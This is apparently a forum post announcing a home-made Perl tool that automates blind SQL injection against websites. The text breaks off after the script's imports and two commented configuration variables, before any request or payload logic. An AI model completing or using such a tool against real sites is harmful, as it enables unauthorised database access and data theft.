Blind Sql Injection
====================================
Hello all
How are you?
We know that some of us did not know Blind sql Injection
I worked a tool that works mechanical
From now you can do without browser
====================================PerL Code:
#!/usr/bin/perl use LWP::Simple;
use Time::HiRes qw(gettimeofday); ###############################################################
$string='';
$limit=0;
#string variable###############################################
# if the string that you want to use is not writable #
# on the shell you can write in this variable and #
# whene the script order from you the variable just #
# press enter. #
###############################################################
#limit variable##############################################
# if you want a particular column just change this #
# variable. #
#############################################################
